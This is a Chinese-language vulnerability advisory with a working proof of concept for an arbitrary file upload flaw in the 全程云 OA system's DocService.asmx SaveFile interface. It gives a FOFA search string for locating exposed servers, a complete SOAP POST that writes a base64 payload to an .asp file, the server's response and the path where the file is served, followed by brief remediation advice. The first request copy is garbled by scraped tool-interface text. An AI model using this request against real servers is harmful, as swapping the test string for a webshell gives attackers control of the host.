

全程云DocumentDocService.asmx接口存在任意文件上传漏洞

漏洞描述

全程云DocumentDocService.asmx接口存在任意文件上传漏洞，攻击者可上次恶意木马文件导致控制服务器，危害极大。

影响版本

全程云

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="UserLoginFaster"

POC/EXP:

POST /OA/Document/DocService.asmx HTTP/1.1

Host: 127.0.0.1

Content-Type: text/xml; charset=utf-8

Content-Length: 395

SOAPAction: "<http://tempuri.org/SaveFile>"

```
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
```

```
    <Y2VzaGk=
      <jp.asp
```

[/soap:Body](#)
[/soap:Envelope](#)

发送请求

强制 HTTPS

历史

生成 Y

Request

数据包扫描

热加载

构造请求

1

POST /OA/Document/DocService.aspx HTTP/1.1

2

Host: .9

3

Content-Type: text/xml; charset=utf-8

4

Content-Length: 395

5

SOAPAction: "http://tempuri.org/SaveFile"

6

7

<?xml version="1.0" encoding="utf-8"?>

8

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

9

<soap:Body>

10

<SaveFile xmlns="http://tempuri.org/">

11

<bytes>Y2VzaGk=</bytes>

12

<filename>jp.asp</filename>

13

</SaveFile>

14

</soap:Body>

15

</soap:Envelope>

Responses

294bytes / 263ms

美化

详情

1

HTTP/1.1 200 OK

2

Cache-Control: private, max-age=0

3

Content-Type: text/xml; charset=utf-8

4

Server: Microsoft-IIS/7.5

5

X-AspNet-Version: 4.0.30319

6

X-Powered-By: ASP.NET

7

Date: Mon, 28 Oct 2024 12:03:11 GMT

8

Content-Length: 294

9

10

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><SaveFileResponse xmlns="http://tempuri.org/"></SaveFileResponse></soap:Body></soap:Envelope>

<http://127.0.0.1/oa/Upfiles/temp/jp.asp>

← → ↻

⚠ 不安全

/oa/Upfiles/temp/jp.asp

ceshi

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本